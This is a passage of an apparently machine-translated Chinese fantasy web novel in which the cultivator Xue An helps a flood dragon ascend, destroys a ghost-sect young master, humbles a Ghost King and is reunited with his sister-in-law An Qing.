    Zhai Lao Dao didn''t get up, he just smiled, "I''m sorry, now there is a donor living in Taoist temple, you are late!"


    The young man frowned, looked at Xue An who was sitting aside, and said, "Are you living here? How much does it cost to move out for me now?"


    This young man is obviously rich in wealth, Xue An shook his head and stretched out a finger.


    "Ten thousand is it, good!" The young man did not hesitate.


    Xue An said lightly: "Give me a hundred million, and I will go now! Remember... I only need cash!"


    The youth''s complexion changed abruptly, and he sneered: "Are the people in the mountains mad?


    At this time, a middle-aged man stepped forward and stopped the young man, "Feng Shao, big things are important."


    Feng Shao said with a gloomy face.


    The middle-aged man gave a fist to Zhai Lao Dao, "Dao Master, since there is no place to live, can we set up a tent near the Taoist Temple?"


    Zhai Laodao nodded, "Of course this is fine."


    The equipment carried by this team were all top-notch, and a professional tent was set up next to the Taoist temple in a short while.


    Old Zhai said solemnly at this time: "It seems that the water is getting muddy."


    Xue An was noncommittal, but said faintly: "The water is muddy, so I can catch fish."

 Chapter 71： Are you aunt?

    This night is destined to be restless.


    A very strange motorcade came up to Qingmang Town, saying that it was strange because it was actually a black sedan chair in the middle of the motorcade.


    This kind of transportation, which should have long since disappeared, actually reappeared on the streets of Qingmang Town.


    At this moment, the convoy stopped.


    Several big men came to the sedan chair and bowed to greet him.


    The car curtain was lifted, and inside came out a man with a pale face and two groups of ghost fires flickering in his eyes.


    The man looked up at the Qingmang Mountain standing in the dark, and said coldly: "The younger Qian and Niu Tenwan are dead!"


    A few hands looked at each other, a little horrified in their eyes.


    A cold smile appeared at the corner of the man��s mouth, ��It seems that there are traces of other sects, but unfortunately, the things that I am fancy to can only belong to me! Go, go into the mountains!��


    "Yes, young master!"


    The man turned back to the sedan chair, and then a strange scene appeared.


    The sedan chair actually rose into the air, as if something invisible was being carried, and swiftly went to the mountain.


    Ghost lifts the sedan chair.


    If anyone else sees this scene, they will definitely exclaim.


    And shortly after this group of people entered the mountain, a few more cars drove slowly into Qingmang Town, and when the people in the car got off, it was the girl from Zhongdu.


    Someone has already asked about Yuelai Hotel, and Xue An entered the mountain in the morning.


    The girl frowned, and then ordered: "Go into the mountain!"


    Following her were a few silent men in black. Each of these men was not burly, but the murderous aura was not to be underestimated.


    The girl led the people into the mountain.


    But when they found the Taoist Temple, it was dawn.


    Feng Shao, who came first last night, walked out of the tent with a gloomy expression.


    He is accustomed to being pampered. Although this tent is the best, he is not comfortable living in the room.


    He came to the door of the Taoist Temple bitterly, just in time to see Hua Tingting and Tan Xiaoyu talking and laughing.


    Feng Shao was stunned.


    He didn''t expect to see such a beautiful girl in the deep mountains.


    Stunned, the middle-aged man came over.


    "Feng Shao, it''s time to go!"


    Feng Shao nodded, then said to Zhai Lao Dao, "Old Dao, what''s so strange in this mountain?"


    Di Lao Dao''s expression remained as usual. Before speaking, Xue An said, "I know!"


    Feng Shao looked at Xue An, "You?"


    Xue An nodded, "Yes! Didn''t you look for the black water pool,"


    The middle-aged man''s eyes lit up, and then he winked at Shao Feng.


    Feng Shaoxin understood, "Yes, then you take us there, rest assured, money is indispensable for you!"


    Xue An smiled slightly, "Okay, I just want to go and see!"


    Zhai Laodao looked at Xue An with blinking eyes. He didn''t know what Xue An wanted to do. He wanted to talk several times, but finally closed his mouth.


    Just as they packed their things and were about to set off, the girl led the people to arrive.


    When she saw Xue An, her face was full of anger, she rushed over, pointed at Xue An��s nose and started cursing.


    "The surname is Xue, you bastard!"


    Xue An was stunned and looked at this girl who looked like a pretty girl in anime.


    I always feel a little familiar.


    The girl sneered and said: "Why? Didn''t you know me? Okay, after being missing for four years, I had a good time after coming back. There are beautiful women with me, I will ask you, do you have a conscience? My sister has paid for you After so much, don��t you even know guilt?"


    Xue An was shocked, and then remembered who this girl was.


    An Yan��s sister and sister-in-law.


    Anqing.


    Only when I first saw her, she was only twelve or thirteen years old, and she was a child, so she didn''t recognize it.


    Xue An couldn''t help smiling bitterly, "An Qing, I really didn''t abandon your sister, these four years... I really can''t come back! And these are just my friends, your sister, she... is she... okay? "


    Anqing sneered: "Now I know how to ask? What did you do earlier? I tell you that my sister broke with the family for you, and then escaped into the empty gate, and her whereabouts are unknown!"


    Xue An was shocked, his eyes burst with cold light, "Unknown whereabouts?"


    Originally An Qing wanted to say something, but was forced by Xue An''s sudden momentum, so she couldn''t say anything later, she could only nod her head.


    "Yes, whereabouts are unknown! I have been looking for her too!"


    Xue An was silent for a moment, then shook his head, his face solemnly said: "No matter what method I use, I will find Yan''er!"


    Xue An''s spiritual consciousness cannot cover too far, but Xue An believes that as long as his strength goes further, he can directly scan the entire earth.


    At that time, no matter where she is, I will find her.


    And Xue An feels that his wife must be somewhere now.


    Anqing had come to Xingshi to ask the teacher fiercely, but seeing Xue An''s statement, her own heart softened first.


    At this moment, Xue Xiang and Xue Nian hopped over to Xue An.


    When An Qing saw these two little girls, her expression changed drastically.


    "this is����."


    "Baba, where are we going to play today?"


    This baba made An Qing unstable and almost fell to the ground.


    "Is this the child my sister left behind?" An Qing trembled.


    Xue An nodded.


    An Qing''s tears shed first, and she squatted down and said: "Come on, let my auntie hug!"


    Xue Xiang and Xue Nian looked at the strange girl, feeling inexplicably close, but they still shook their heads.


    "Baba, who is she?"


    Xue An was silent for a moment, then touched the heads of the two little girls, "She is your sister!"


    When he said this, Xue An was also full of exclamation.


    At the beginning, I once followed An Yan back to settle down.


    It was that time, I was not tolerated by the whole settlement.


    Because of the Anjia at that time, no one looked down upon themselves. Except for this An Qing, they all made mockery of themselves at the time.


    Then he took his wife to Beijiang angrily.


    Xue Xiang and Xue Nian were a little bit shy, but they still leaned over, "Are you our aunt?"


    Anqing''s tears rolled, and she nodded and said: "Yes!"


    "What about my mother?"


    Anqing was a little choked, "Your mother went a long way, but she will be back soon!"


    "Well, auntie, you don''t want to cry, okay?" Xue Xiang and Xue Nian very cleverly wiped An Qing''s tears.


    An Qing hugged the two little girls, feeling sad.


    In a wealthy family like Anjia, although rich in clothes and good food, many times are very lonely.


    She has been close to her sister since she was a child, but what happened to her sister later made it difficult for her to accept.


    Especially An Yan''s later disappearance has dealt her a heavy blow.


    This time she can find two nieces, and she is naturally full of joy.

 Chapter 72： Dragon Transformation

    Feng Chaocao hugged his shoulders and looked at him from a distance, still with a trace of residual surprise in his eyes.


    At first sight of An Qing, Feng Chaocao was shocked.


    Different from the beauty of Tan Xiaoyu and Hua Tingting, this An Qing is the kind of beauty that makes men unable to resist the desire to protect.


    is especially matched with the beauty of anime characters.


    commonly known as the best loli.


    Damn, why are there so many beautiful women around this man?


    Feng Chaocao thought bitterly.


    When I finish my major business, I will find a way to collect all these little ladies!


    As for Xue An.


    Feng Chaochou didn''t care.


    He comes from the Feng family in the provincial capital. In the provincial capital, the Feng family is a serious and powerful family.


    In the provincial capital, even Beijiang, I have never heard of a wealthy family surnamed Xue.


    So he felt that Xue An was just an ordinary man.


    Feng Chaochou is neither a warrior nor a warlock. This time he came to Qingmang because of the middle-aged man.


    The middle-aged man is called Zuo Yuqi, a famous Feng Shui master in the provincial capital.


    That is, he said that Qingmang Mountain will have a strange treasure, if it is obtained and dedicated to the family, then Feng Chaochou will definitely become the head of the Feng family in the future.


    That''s why he ran into this ravine within a few hundred miles.


    "What are you going to do?" An Qing asked at this time.


    Xue An hasn''t spoken yet, Feng Chaocai has already leaned over and said with a smile on his face: "Hello, I am Feng Chaocai, from the Feng family in the provincial capital, do you know me!"


    An Qing glanced at him coldly and ignored him.


    Feng Chaocao was a little embarrassed and wanted to step forward. At this time, the man next to An Qing stepped forward with an unmoving expression and squeezed Feng Chaocai aside.


    Feng Chaocao was taken aback, his expression gloomy.


    "Feng Shao, the important thing is still important. I think this dragon is getting more and more powerful, so I should go quickly!" Zuo Yuqi was afraid of something bad, and quickly persuaded.


    Feng Chaocai snorted from his nostrils, then turned to Xue An and said, "Where is the black water pool?"


    Xue An smiled faintly, "Just ahead, follow me!"


    At this time, Xue Xiang and Xue Nian said to An Qing: "Auntie, Auntie, I want to take us to see the big long worm!"


    The two little girls still remember the dragon in Heishuitan, but they called it the big long insect.


    Feng Chaocao sneered in his heart.


    The big bug?


    is so funny, I don''t know how to die by then.


    An Qing moved in her heart and nodded and said, "Then I will go and see with you, okay?"


    "Yeah!"


    An Qing''s temporary joining did not make Xue An feel anything.


    But those silent men made Xue An a little interested.


    These men are obviously all well-versed, and they have been silent all the time.


    Could it be a soldier?


    A thought flashed through Xue An''s mind.


    It��s not too far from this Pear Flower Valley to Black Water Pool.


    It��s just that the mountain road is rugged, so it��s slow to walk.


    Xue An simply held his two daughters in his arms with one hand, and then walked in front as a car.


    This physical strength made An Qing''s guards'' eyes flashed.


    Just when Feng Chaocai''s face was pale and he felt that he was about to be unable to hold on.


    The black water pool has arrived.


    There is no difference here from when Xue An left some time ago.


    After waiting here, Zuo Yuqi''s expression became excited.


    "Yes, that''s it! The dragon transforms into shape. This is a rare opportunity in a century! Feng Shao, this time you are going to get it right. You can not only master the Feng family, but also reach the top of the provincial capital."


    Feng Chaocao''s expression also became excited.


    At this time, the water in the black water pool began to boil, and the originally clear sky suddenly became overcast.


    "Alright! Coming out soon!" Zuo Yuqi muttered to herself, and then took out a set of small flags from her arms in pain, and began to insert them around the Black Water Pool.


    After the insertion, a few red lines faintly appeared above the black water pool.


    At this time, a snake head that has been huge and huge suddenly appeared in the black water pool.


    The two horns above the snake''s head have been formed, and the pair of snake eyes is full of pain.


    This scene shocked An Qing, who had originally disapproved.


    My god!


    Is there really a dragon?


    At the beginning, An Qing thought it was a giant python.


    I didn''t expect it to be such a fetish.


    And a few silent men immediately protected An Qing among them.


    There was a faint rumbling of thunder in the sky.


    suddenly.


    clicked.


    A huge flash went straight to the python in the black water pool.


    This blow made the giant python roar, and then plunged into the black water pool, a stream of bright red blood dyed the pool water red.


    Many people present were frightened.


    Zhai Lao Dao was even more excited, "The dragon is transformed into a dragon, Master! The dragon is about to climb into the sky!"


    But at this moment, another even greater lightning flashed straight towards the black water pool.


    completely ignoring the barrier of the lake, and rushed in directly.


    There was a tremor on the ground, and it seemed that a giant was struggling in pain.


    At the same time, the third lightning came again.


    The first flash of lightning calls to transform the dragon''s horn, the second one is to retreat the snake skin, and the third and last one is Long Dengtian!


    As long as it survives this blow, this dragon will completely transform into a dragon.


    But at this moment, the small flag arranged by Zuo Yuqi began to flash.


    This lightning seems to be missing the Black Dragon Pool and it began to hover above, and then it disappeared.


    Zuo Yuqi is overjoyed!


    But the giant python slammed its head out, although it was covered with scars, it still bite at Zuo Yuqi very angry.


    "Feng Shao! It''s now!"


    Feng Chaocai is not stupid, knowing that success or failure is in one move, so he shouted: "Hurry up! Do it!"


    The people who came with him all took out various guns from their backpacks.


    There is even a rocket launcher.


    An Qing was also taken aback by this equipment.


    can actually get such standard equipment, this Feng family has a lot of energy!


    "Fire!"


    The gun was aimed at the python and fired.


    The bullet hit the python, sparks splashing everywhere.


    This kind of hardness makes Feng Chaochou also smack his tongue.


    But it also made his heart hotter.


    If this can be subdued by oneself, who would dare to provoke it?


    But the giant python was obviously very angry, with a mouth, a black mist went straight to Feng Chaocao and the others.


    Feng Chaocao was so scared that he rolled quickly and avoided the blow.


    The few people behind him were all eroded by the black mist, and they turned into black water altogether.


    Feng Chaocao was frightened.


    Zuo Yuqi now solemnly took out the last treasure.


    This is the realgar essence he has prepared for many years, designed to deal with the imminent flood dragon.


    As long as it is thrown out, then this dragon will be used by itself.


    Zuo Yuqi can''t help feeling full of enthusiasm when she thinks of this.


    In fact, he came here with all his troubles, saying that he was helping Feng Chaochou, but in fact it was all for himself.


    But at this moment, someone sneered and said, "This dragon, belongs to my ten thousand ghosts, you still don��t get out!"

 Chapter 73： too weak!

    Following the voice, a black sedan chair floated over out of thin air.


    These weird pictures made Feng Chaochou and others look at him.


    Zuo Yuqi''s face became extremely ugly.


    Wanguimen, but he can''t afford it.


    And seeing the momentum of this person''s arrival, it is by no means ordinary people.


    The sedan chair landed, and the young master of Wanguimen walked out of it. After looking around everyone in the field, a mocking smile appeared at the corner of his mouth.


    "This dragon belongs to my thousands of ghosts, everyone else will get out of me!"


    When Zuo Yuqi saw this man, her scalp was a little numb, but she still bit her scalp and said, "Thousands of ghosts must come first, then come first!"


    As soon as the voice fell, Mu Qi snorted coldly, "So, you are not convinced?"


    Zuo Yuqi dare not speak anymore.


    Feng Chaocao was a little unconvinced, and sneered: "Where is the kid, pretending to be a ghost."


    Mu Qi, the young master of Wanguimen, saw the wild fire in his eyes, slapped it out, and slapped Feng Chaocao to the ground.


    This hand made many people tremble.


    "I''m talking, you''d better listen, otherwise, be careful I will train you all into ghosts!" Mu Qi said in a sad tone.


    Then he looked a little greedily at the seriously injured Jiaolong.


    This is a once-in-a-lifetime opportunity. If this dragon can be surrendered, no one will dare to provoke it.


    own position will also be stronger.


    Thinking of this, Mu Qi''s heart couldn''t help but grow hotter.


    then took out a few gloomy beads from his arms, and threw them towards the dragon.


    In the midair, these beads expanded rapidly, and then after several deafening explosions, the dragon roared, and the scales on its body were torn apart.


    Under the blood dripping, the Jiaolong was also completely angry, and a thick black mist came straight to Mu Qi with his mouth.


    Mu Qi sneered and waved his hand, there were countless screams and flew towards the dragon.


    The black mist was also offset by these injustices.


    Zuo Yuqi and others looked pale.


    This Mu Qi is so overbearing, he wants to rely on his own strength to subdue this dragon.


    Mu Qi''s eyes grew hotter.


    But at this moment, his grievances suddenly cried out, and then they disappeared.


    Then someone sighed slightly, "With so many souls possessed, how much have you done?"


    Mu Qi''s face sank, then looked at the speaker.


    I saw Xue An slowly walk into the field.


    When ���� Jiaolong saw him, tears appeared in the eyes of the snake, and he let out a very aggrieved growl, then lowered his head.


    Xue An lightly patted its head, smiled and said: "This is what you deserve, but don''t worry, I am coming!"


    Jiaolong arched Xue An affectionately.


    At this moment, Mu Qi, Zuo Yuqi and others'' faces became increasingly gloomy.


    Feng Chaocao looked incredible.


    Why is this Jiaolong so close to Xue An?


    But Zhai Laodao''s eyes flickered, as if thinking of something.


    But the most shocking one is An Qing.


    She couldn''t think that she would see so many incredible things today.


    Mu Qi sneered at this moment, "Where''s the kid, I don''t know how the gods and ghosts are close?"


    Xue An showed his white teeth and smiled sensibly, "You are the Young Master of the Ten Thousand Ghosts Sect in the mouth of Xiaoqian?"


    Mu Qi shook, then said with a gloomy expression: "Do you know that Xiaoqian? Then she..."


    Xue An nodded, "I killed it!"


    Mu Qi smiled sadly, "Very well, no one has dared to talk to me like this for a long time! You are the first! I will refine your soul into a thunder, so that you will never be reincarnated!"


    Feng Chaocao asked Zuo Yuqi in a low voice at this time, "Mr. Zuo, what is the thunder?"


    Zuo Yuqi''s face was pale, "That is the most sinister method!"


    Feng Chaocai was a little happy after listening.


    let''s hit! The harder you fight, the better!


    It''s best to lose both!


    Xue An smiled lightly at this time, and then patted the aggrieved Jiaolong.


    "Okay, wait until I clean up this guy. I will help you reach the sky!"


    Mu Qi sneered. Just as he was about to speak, a fire appeared in Xue An''s hand.


    The white flame is burning.


    Mu Qi was taken aback, a look of horror appeared on his face.


    He felt an instinctive fear of this flame.


    Xue An said faintly at this time: "You can see that you are acting viciously if you look at your grievances. Today, I will accept you!"


    Mu Qi smiled disdainfully, "Don''t think that this thing can do anything, let me eat my heart!"


    With the voice, the sky was dark, and then countless souls came straight to Xue An.


    Zuo Yuqi, An Qing and others who looked at him were pale.


    is really because the momentum is too terrifying.


    Xue An did not move.


    A sneer appeared at the corner of Mu Qi''s mouth.


    is probably scared silly! Mu Qi thought to himself.


    But at this moment, Xue An suddenly raised his head, the flame in his hand suddenly expanded, and then punched out.


    Boom!


    These wronged souls didn''t even have time to give out their miserable howls, and they turned into nothing.


    Mu Qi was stunned, and Xue An smiled lightly, "Now, it''s your turn!"


    said, he had reached Mu Qi, and then slapped him over.


    Mu Qi wanted to dodge, but his muscles were stiff.


    can only watch Xue An''s slap slap over.


    Snapped.


    A crisp sound.


    Mu Qi was fanned and flew dozens of meters away.


    coughed up a big mouthful of blood after landing, UU read www.uukanshu. com then looked at Xue An with amazement.


    Xue An stood with his hand at this moment, shook his head and said: "Too weak!"


    Mu Qi''s face was full of insidiousness, suddenly raised his hand, "Die to me!"


    The men who followed him fell to the ground instantly, and then Mu Qi looked solemn, waved his hand to gather these ghosts in his hand, and snorted coldly: "Sacrifice!"


    With a black flame, all these ghosts disappeared.


    Then, the world was shaken.


    Something seems to be crawling out of the ground.


    Zuo Yuqi was shocked.


    The mountain shook suddenly at his feet, and then a cloud of black air that covered the sky and the sun rose up, and an upright ghost appeared in the field.


    "You wait for mortals, what do you call me?"


    The huge sound shook the valley.


    Mu Qi knelt down respectfully at this time, "Master Ghost, someone is against my Ten Thousand Ghosts, please show your power and kill him!"


    Ghost King smiled sullenly, "It''s easy to talk about, but your recent offerings to the Ten Thousand Ghosts Gate are not so good!"


    Mu Qian looked very tight, and said quickly: "After the matter is over, I will certainly enshrine your ten virgins!"


    Ghost King smiled with satisfaction, turned his head to look at Xue An, and then he was stunned.


    "you you����."


    Ghost King''s expression gradually became frightened.


    Mu Qi said at this time: "Master Ghost King, this is the person!"


    Mu Qi still looked at Xue An with a smug expression, saying that you are done!


    This ghost king is a great power in the ghost world that is often worshipped by all ghosts.


    I didn''t expect the ghost king to put on a flattering smile at this moment, and said cautiously: "My lord... why are you here?"

 Chapter 74： Wan Lei listened to the order, Long Dengtian!

    grown ups?


    All the people present are inexplicable?


    Especially Mu Qi was even more puzzled, "Master Ghost King, this guy..."


    Before he said the words, the King of Ghosts stepped on it impatiently.


    Mu Qi didn''t even utter a scream, and was trampled into sludge. Then the ghost king said with a panic: "My lord, I really don''t know if you are here, please forgive me!"


    Xue An smiled lightly at this time, "You...recognize me?"


    The ghost king fought a cold war, secretly groaning in his heart.


    "My lord, I have been to the heaven with Master Ghost Sage, and happened to see you once!" The Ghost King said cautiously.


    How could a ghost king of his level have met Xue An.


    It��s just that he once participated in a celestial event with the power of the underworld, and then saw Xue An once from a distance.


    At that time, Xue An was sitting on the main seat, and countless celestial powers all respected him.


    This kind of momentum made the ghost king remember fresh.


    At the same time, the ghost ghost who brought him here warned: "If you see this in the future, you must roll as far as you can, don''t provoke it!"


    The King of Ghosts remembered it in his heart, but he did not expect to see Xue An in the world this time.


    At this moment, the ghost king''s heart is shaking.


    Although Xue An is not strong at the moment, he does not dare to take any contempt.


    After all... That''s Xianzun!


    A big man in the world can be born and destroyed with one finger!


    Compared with others, he is a ball!


    Xue An nodded, "You know something!"


    If the ghost king is sweating, he is probably already covered with cold sweat. He nodded and bowed his waist quickly: "Yes, yes! Sir, do you have any more orders?"


    Xue An said calmly: "I heard that this Wanguimen often sacrifices to you?"


    Ghost King Ji Lingling fought a cold war, and said hurriedly: "My lord Rong Jin, I have nothing to do with this Ten Thousand Ghosts, but they often sacrifice to the ghost world, so they will get in touch with me occasionally!"


    Xue An nodded, "Is it a sacrifice with a living soul?"


    The ghost king is about to cry, and I hate this ten thousand ghosts to death, shit, who is it not good to provoke such an ancestor? Is it really too long?


    Xue An waved his hand at this time, "Forget it, I will let you go this time, do you know what to do in the future?"


    Ghost King nodded vigorously, patted his chest and said, "Don''t worry, my lord, I understand!"


    "get out!"


    Ghost King Rumeng amnesty, and quickly got back into the cracks of time and space.


    Damn, the incense in the world still seems to be eaten less! Otherwise, your life won''t be saved!


    At this time, Xue An looked at Mu Qi''s body on the ground, smiled slightly, and pointed his finger.


    A group of light spots emerged from Mu Qi''s body, and after falling into Xue An''s hands, it became Mu Qi''s appearance.


    This is Mu Qi''s soul.


    It''s just that Mu Qi''s face is full of horror at this moment.


    Just now, he heard the conversation between the ghost king and Xue An, and even the power of the ghost king showed respect to Xue An.


    What is his origin?


    Mu Qi couldn''t help being full of horror.


    It is a pity that he underestimated Xue An''s ability to hold enemies.


    "As I said, I will accept you today!" Xue An said lightly.


    Mu Qi''s soul continued to bow in Xue An''s palm, and said in horror: "My lord is forgiving, my lord is forgiving! I have no eyes and ran into the lord, please let me go!"


    "I let you go? But have you let go of the creatures that you killed?" Xue An said, and the white flame in his palm rose again.


    Mu Qi screamed and was burned to nothing.


    The soul flies away, and there is no more sound.


    The whole audience was silent.


    Zhai Lao Dao was dumbfounded, and whispered to himself, "Xiao An, what have you experienced in the past four years?"


    Feng Chaocai, Zuo Yuqi and others were even more silent, and they dared not lift their heads.


    Especially Feng Chaochou, at this moment, he is full of panic.


    I still want to clean up this man?


    is really overwhelming!


    And Zuo Yuqi almost knelt down at this time.


    Because he understands the horror of the ghost king just now.


    It can even be said that with the flick of the ghost king, all the people present will be dispelled.


    And such a terrifying existence, they all show respect to Xue An.


    Xue An��s origin made Zuo Yuqi dare not even think about it.


    At this moment, the clouds in the sky are gradually thinning, and they are about to disperse, and the expression of the dragon is getting more and more painful.


    Xue An looked up and said lightly: "Now, I will help you reach the sky!"


    As he said, he slid suddenly, then came into the mid-air, fingered the sky, and whispered softly: "Wan Lei listen to the order!"


    With rumbling noises, the thin cloud suddenly thickened, and in the middle of a vortex, there was a faint flash of thunder.


    Jiaolong raised his head, and a touch of perseverance flashed in the snake''s eyes.


    At this time, Xue An yelled softly, "Fall!"


    A huge thunder light half a mile thick fell straight down.


    The thunder shook loudly, and it was shining brightly!


    Everyone trembles under the power of this world!


    An Qing and the guards who followed her were all shocked, especially An Qing, muttering to herself.


    "Sister, brother-in-law seems to be a fairy!"


    Leiguang came straight to the dragon, and the small flags that Zuo Yuqi arranged did not even struggle, and turned to ashes.


    The dragon roared loudly, and rose from the pool, rushing towards the thunder light.


    There was a loud noise Qingmangshan trembled for it.


    Xue An stood with his hands in the air and said lightly: "This thunder is called Long Dengtian!"


    With the voice, a dragon roar resounded throughout the world.


    Under this lightning strike, the snake skin was completely removed, the scales were gone, and the scales of the dragon appeared!


    The dragon''s horns are loud, and a pair of dragon claws grow under the belly!


    Since then, a dragon with a head like a camel, horns like a deer, eyes like a rabbit, ears like a cow, a neck like a snake, a belly like a mirage, scales like a carp, claws like an eagle, and a palm like a tiger appeared in front of everyone.


    Everyone looks silly.


    Zuo Yuqi said with a dull expression: "It is a five-clawed dragon! This is a step to the sky!"


    The giant dragon rolled in the air, then flew to Xue An''s feet and directly picked up Xue An.


    This is the real step on the dragon and ascend to heaven!


    Xue An smiled, and then said: "Bring my two daughters here!"


    The dragon fell to the ground obediently, and Xue An stretched out his hand at the two daughters, "Come on, Dad will take you to play!"


    Xue Xiang and Xue Nian walked over without fear.


    Then Xue An rushed to Zhai Lao Dao and An Qing: "Go."


    Mr. Zhai was shaking all over at this moment.


    This dragon is the meaning of his living in Qingmang Mountain, and it is also the concern of his late master.


    Seeing the dragon ascending to heaven at this moment, he was naturally happy.


    After everyone got on the dragon''s back, Xue An said: "Let''s go!"


    The giant dragon roared and went straight up.


    soon disappeared into the sky.


    Zuo Yuqi and Feng Chaocao stood for a while, then looked at each other.


    "Mr. Zuo..."


    Zuo Yuqi waved his hand disheartenedly, "Feng Shao, let''s go! This man is not something we can provoke!"

 Chapter 75： Code name: Phoenix

    Thinking of the scene just now, Feng Chaocai couldn''t help fighting a cold war.


    This trip to Qingmang not only didn''t gain anything, but also damaged several elite subordinates, which can be described as heavy losses.


    It is estimated that after going back, he has to be punished by the family.


    "He...Is he already a fairy?" Feng Chaochou muttered to himself.


    Zuo Yuqi shook her head, "It should not be, but I can''t see him!"


    Feng Chaocao frowned, then whispered softly: "That''s from the Xie family in the provincial capital..."


    Zuo Yuqi shook her head, "I don''t know, and I don''t want to know! Feng Shao, this time I go back, I will leave here to travel around the world! You...just do it yourself!" Feng Chaocai looked at Zuo Yuqi''s leaving back , I feel a little complicated.


    This Mr. Zuo is also number one in the provincial capital, but now he is downcast like a rooster that has lost a fight.


    Is this Xue An really that amazing?


    Could he still beat the Xie family well?


    You need to know the Xie family... But there is a monster-level existence!


    Flying dragon fell on the roof of Yuelai Hotel in Qingmang Town.


    Song Yi and Xue Lan were also shocked when they came out to greet them.


    Song Yi said with a look of excitement: "Five-clawed golden dragon...God, isn''t there any such divine object born in this era?"


    Xue Lan is even more incredible.


    This is a living dragon!


    Xue An and others got off the dragon''s back.


    Di Lao Dao stood by the dragon with admiration.


    This dragon seems to recognize Zhai Lao Dao, but Zhai Lao Dao is too weak, so he doesn''t bother to care about him.


    Dragon is a very proud species.


    Unless he is convinced, he won''t be close to you.


    "Brother Xiao An!" Xue Lan said.


    Xue An nodded, "You come with me!"


    "Ok!"


    Xue Lan followed Xue An into the room, Xue An closed the door, and the two of them were in the room.


    Xue Lan''s heart was pounding, and she lowered her head to play with the corners of her clothes.


    "Do you...do you want to cultivate the Tao?" Xue An asked lightly.


    Xue Lan was taken aback, and he was asking this!


    But Xue Lan still nodded quickly.


    "But if you think about it clearly, the path of cultivation is extremely difficult. It can be said to go against the sky. Once you step on it, there is no turning back."


    "I understand!" Xue Lan nodded.


    "That''s good, then I will teach you a set of methods, remember not to disclose it, as for what you can cultivate, it depends on your good fortune!"


    Xue An said and patted Xue Lan on the head.


    A complete set of legal decisions was passed to Xue Lan.


    This is a set of exercises specifically selected by Xue An for Xue Lan, called the Guishui exercises, which was obtained by chance from a sect of nuns while traveling the universe.


    is most suitable for women''s training, and it is not easy to make mistakes.


    After opening the door, An Qing stood in the corridor and looked at Xue An with playful eyes.


    "Yeah, came out so soon?"


    Xue An smiled bitterly, "That''s my sister."


    "Sister? A sister or a **** sister?" An Qing said coldly.


    Although she forgave Xue An temporarily, it does not mean that she can allow Xue An to find women outside.


    For the sake of her sister, she also wants to look at Xue An.


    "Those who followed you are in the army, right?" Xue An said lightly.


    An Qing nodded, "I have a good vision. They belong to a secret army in the army, and I am also a member of this army!"


    "Dragon Group?" Xue An said curiously.


    Anqing smiled happily, "It''s still a wolf, we are a special operations force, the code name is not fixed, but in general, people call us the phoenix."


    Looking at this little sister-in-law who seemed to be underage, Xue An felt a little funny.


    seems to have noticed Xue An��s disbelief, and An Qing glared at Xue An, "Why? Don��t you believe it? I tell you, my hacking skills are ranked top three in the world!"


    What An Qing said is indeed true.


    Although she was born in a wealthy family and settled down, she is not like other wealthy daughters, dressed up all day long, drinking afternoon tea and shopping, she is not interested in these.


    Anqing''s favorite thing is to deal with the Internet, in the online world, she is a veritable king.


    is also called by many foreign masters, Jade Butterfly.


    In fact, she practiced hacking skills hard, and also wanted to find her sister through the Internet.


    But later because of his growing popularity, he was called into the Phoenix.


    Xue An looked solemn, no matter what he was doing, it was not easy to be in the top three in the world.


    My sister-in-law is really not an ordinary person.


    An Qing raised her head somewhat proudly, and at this moment two little girls ran in.


    "Auntie, auntie, what do you think this is?" The two little girls held a thin thread like offering treasures.


    Although it has only been a while since getting along, An Qing and these two little girls already have a deep relationship, so they smiled and said, "You two are naughty! Let me see!"


    said, he stretched out his hand and wanted to take a look.


    I didn''t expect this seemingly light silky thing to be very heavy.


    "Huh! What is this?"


    Xue An could see what it was at a glance.


    is actually a dragon''s whisker.


    The two little girls said triumphantly: "This is what we pulled from that big loach mouth awesome!"


    An Qing was a little dumb.


    That''s a dragon...


    The totem of the people of the country is something that only exists in myths and legends, but when it comes to Xue An, it seems to be a pet.


    Xue An touched the heads of the two little girls, and said with a smile: "That''s amazing! Go, let''s go home."


    As soon as he left the house, when the dragon saw Xue Xiang and Xue Nian, he backed away in a panic expression.


    Nothing else, I am really afraid of these two little ancestors.


    Xue An patted it a little funny.


    "Okay, it''s a dragon anyway, a bit ambitious, OK? Isn''t it just a dragon''s whisker?"


    Jinlong did not dare to say anything, and bowed his head.


    Xue An came up with the two little girls, An Qing and others also came up.


    Only Zhai Laodao and Xue Lan remained.


    Flying dragon ascended into the sky, and disappeared into the vast night in the blink of an eye.


    Song Yi sighed, "Sure enough, fairy means!"


    At this point, he is completely devoted to Xue An!


    can subdue the five-clawed golden dragon.


    What state is this?


    Could it be that he is already a fairy? Song Yi wondered in his heart.


    If it is Sanxian, then in China, and even the world, it is the top boss in the ranking.


    As far as Song Yi knew, there were two scattered immortals in them, both of whom were enshrined by the wealthy family and would not show up easily.


    Xie��s, the provincial capital, seems to have an ancestor alive.


    Then, it was Lingnan Jianxian and General Lin in the army that it was rumored that Sanxian was sitting.


    The Golden Dragon flies extremely fast, and it takes more than an hour to drive, but it takes only a few minutes.


    Xue An let Feilong land directly in front of Villa No.1 Tianzi.

 Chapter 76： Ten thousand ghosts...destroy!

    After everyone came down, Xue An pointed to Yunmeng Lake in the distance, "You will stay in this lake from now on, understand?"


    The golden dragon nodded, then soared into the air and flew into the lake.


    Although this Yunmeng Lake is not too big, it is still okay to accept it.


    And Xue An has transformed this place, so the aura in Yunmeng Lake is stronger than Black Water Pool.


    Jinlong happily circled the lake and sank to the bottom of the lake.


    Xue An smiled. In fact, this golden dragon has just transformed into shape. Many magical powers have not yet been mastered. After being proficient, he can shrink his body and even transform into other creatures.


    Of course, if you want to transform into a human form, it will take decades of hard work.


    After opening the door, Tang Xuan''er walked out in her pajamas sleepily.


    She did not expect Xue An to come back so soon.


    Wait until An Qing sees Tang Xuan''er, her expression becomes harder to look.


    "This...what''s going on?"


    Xue An looked calmly, "Friend."


    "Friends?"


    Xue An nodded, and said lightly: "To be precise, it is the benefactor who brought up Xue Xiang and Xue Nian."


    The words behind An Qing were swallowed back, and Tang Xuan''er''s expression also softened.


    "Hello, my name is An Qing, and I am an aunt who misses and misses."


    Tang Xuan''er nodded, "I am Tang Xuan''er!"


    As for the men in black who followed An Qing, they left first when they were in Qingmang Town.


    An Qing said that although she joined Phoenix, she belongs to the field staff. Unless there is a call, she does not need to go in general.


    The two little girls Xue Xiang and Xue Nian insisted on sleeping with Tang Xuan''er at night.


    After finishing packing, Xue An sat on the sofa in the living room.


    At this time, An Qing came over and sat next to Xue An.


    "Good mix! This villa is very valuable!"


    "From someone else!" Xue An said lightly.


    "Where have you been in the past four years? Why there is no news?"


